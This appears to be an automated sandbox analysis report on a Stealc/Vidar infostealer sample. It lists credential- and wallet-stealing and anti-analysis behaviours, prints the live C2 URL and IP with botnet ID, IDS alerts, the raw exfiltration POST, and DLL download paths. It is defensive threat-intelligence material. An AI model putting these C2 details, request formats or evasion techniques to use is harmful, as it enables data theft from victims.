Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1543206
MD5:	969de6311ff2108382afd9ff374bb828
SHA1:	4ed2721ffdf7eced58caad653454e6ac67257341
SHA256:	4b1e418942b4e90441e2096efff55ffb9428a14e9bca43c8e8145cba59ea79f7
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6860 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 969DE6311FF2108382AFD9FF374BB828)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/e2b1563c6670f193.php", "Botnet": "puma"}

Threatname: Vidar

{"C2 url": "http://185.215.113.206/e2b1563c6670f193.php", "Botnet": "puma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2052582500.000000000079E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1775454055.0000000004D80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2052582500.0000000000816000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6860	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 6860	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6860	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6860	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.fc0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T12:13:11.669579+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49730	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T12:13:11.662320+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T12:13:11.948672+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T12:13:13.057334+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T12:13:11.956923+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49730	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T12:13:11.375231+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T12:13:14.231771+0100	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-27T12:13:23.057079+0100	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-27T12:13:24.817649+0100	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-27T12:13:26.097233+0100	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-27T12:13:26.895915+0100	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-27T12:13:28.812700+0100	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-27T12:13:29.298742+0100	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.206	80	TCP

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFHCBKKFIJJJECAAFCGIHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 48 43 42 4b 4b 46 49 4a 4a 4a 45 43 41 41 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 37 46 30 38 38 36 46 31 34 37 34 35 32 35 33 37 30 33 36 34 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 43 42 4b 4b 46 49 4a 4a 4a 45 43 41 41 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 70 75 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 43 42 4b 4b 46 49 4a 4a 4a 45 43 41 41 46 43 47 49 2d 2d 0d 0a Data Ascii: ------CFHCBKKFIJJJECAAFCGIContent-Disposition: form-data; name="hwid"E7F0886F1474525370364------CFHCBKKFIJJJECAAFCGIContent-Disposition: form-data; name="build"puma------CFHCBKKFIJJJECAAFCGI--

Source: file.exe, 00000000.00000002.2052582500.000000000079E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2052582500.00000000007F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2052582500.0000000000816000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0d60be0de163924d/freebl3.dll
Source: file.exe, 00000000.00000002.2052582500.0000000000816000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0d60be0de163924d/mozglue.dll
Source: file.exe, 00000000.00000002.2052582500.00000000007F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0d60be0de163924d/msvcp140.dll
Source: file.exe, 00000000.00000002.2052582500.0000000000816000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0d60be0de163924d/nss3.dll
Source: file.exe, 00000000.00000002.2052582500.0000000000816000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0d60be0de163924d/nss3.dll#R
Source: file.exe, 00000000.00000002.2052582500.00000000007F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0d60be0de163924d/softokn3.dll
Source: file.exe, 00000000.00000002.2052582500.00000000007F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0d60be0de163924d/softokn3.dll;
Source: file.exe, 00000000.00000002.2052582500.000000000079E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2052582500.0000000000816000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0d60be0de163924d/sqlite3.dll
Source: file.exe, 00000000.00000002.2052582500.0000000000816000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0d60be0de163924d/sqlite3.dllES
Source: file.exe, 00000000.00000002.2052582500.0000000000816000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0d60be0de163924d/vcruntime140.dll
Source: file.exe, 00000000.00000002.2052582500.0000000000816000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0d60be0de163924d/vcruntime140.dll1)
Source: file.exe, 00000000.00000002.2052582500.00000000007E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0d60be0de163924d/vcruntime140.dll3.206
Source: file.exe, 00000000.00000002.2052582500.0000000000816000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0d60be0de163924d/vcruntime140.dllC1.
Source: file.exe, 00000000.00000002.2052582500.0000000000816000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0d60be0de163924d/vcruntime140.dlla.
Source: file.exe, 00000000.00000002.2052582500.00000000007F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2052582500.00000000007E3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.2052582500.00000000007F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.php-
Source: file.exe, 00000000.00000002.2052582500.00000000007F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.php2
Source: file.exe, 00000000.00000002.2052582500.0000000000790000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.php6)
Source: file.exe, 00000000.00000002.2052582500.0000000000790000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.php;Cj3%
Source: file.exe, 00000000.00000002.2052582500.0000000000790000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.php=C
Source: file.exe, 00000000.00000002.2052582500.00000000007F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpBFHJKJEBFCBFHDAEG_
Source: file.exe, 00000000.00000002.2052582500.0000000000790000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpCO
Source: file.exe, 00000000.00000002.2052582500.0000000000790000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpH
Source: file.exe, 00000000.00000002.2052582500.00000000007F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpP
Source: file.exe, 00000000.00000002.2052582500.0000000000790000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpPR
Source: file.exe, 00000000.00000002.2052582500.00000000007F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpam
Source: file.exe, 00000000.00000002.2052582500.0000000000790000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpc=
Source: file.exe, 00000000.00000002.2052582500.00000000007E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phph
Source: file.exe, 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpion:
Source: file.exe, 00000000.00000002.2052582500.00000000007F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpmainnet
Source: file.exe, 00000000.00000002.2052582500.0000000000790000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phps
Source: file.exe, 00000000.00000002.2052582500.00000000007E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpt
Source: file.exe, 00000000.00000002.2052582500.00000000007F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpve
Source: file.exe, 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206e2b1563c6670f193.phpion:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.2073020222.000000006F8ED000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2072653907.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2065397303.000000001D4C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: KEGDBFIJ.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000002.2052582500.0000000000816000.00000004.00000020.00020000.00000000.sdmp, JJECAAEHCFIEBGCBGHIE.0.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: file.exe, 00000000.00000002.2052582500.0000000000816000.00000004.00000020.00020000.00000000.sdmp, JJECAAEHCFIEBGCBGHIE.0.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: KEGDBFIJ.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: KEGDBFIJ.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: KEGDBFIJ.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.2052582500.0000000000816000.00000004.00000020.00020000.00000000.sdmp, JJECAAEHCFIEBGCBGHIE.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: file.exe, 00000000.00000002.2052582500.0000000000816000.00000004.00000020.00020000.00000000.sdmp, JJECAAEHCFIEBGCBGHIE.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: KEGDBFIJ.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: KEGDBFIJ.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: KEGDBFIJ.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: JJECAAEHCFIEBGCBGHIE.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: FHIDBKFCAAEBFIDHDBAECFIEGC.0.dr	String found in binary or memory: https://support.mozilla.org
Source: FHIDBKFCAAEBFIDHDBAECFIEGC.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: FHIDBKFCAAEBFIDHDBAECFIEGC.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: file.exe, file.exe, 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1897387145.000000001D3CC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY
Source: file.exe, 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV
Source: file.exe, 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1897387145.000000001D3CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: file.exe, 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF
Source: file.exe, 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm
Source: file.exe, 00000000.00000002.2052582500.0000000000816000.00000004.00000020.00020000.00000000.sdmp, JJECAAEHCFIEBGCBGHIE.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: KEGDBFIJ.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000002.2052582500.0000000000816000.00000004.00000020.00020000.00000000.sdmp, JJECAAEHCFIEBGCBGHIE.0.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: KEGDBFIJ.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: FHIDBKFCAAEBFIDHDBAECFIEGC.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: FHIDBKFCAAEBFIDHDBAECFIEGC.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: file.exe, 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: FHIDBKFCAAEBFIDHDBAECFIEGC.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
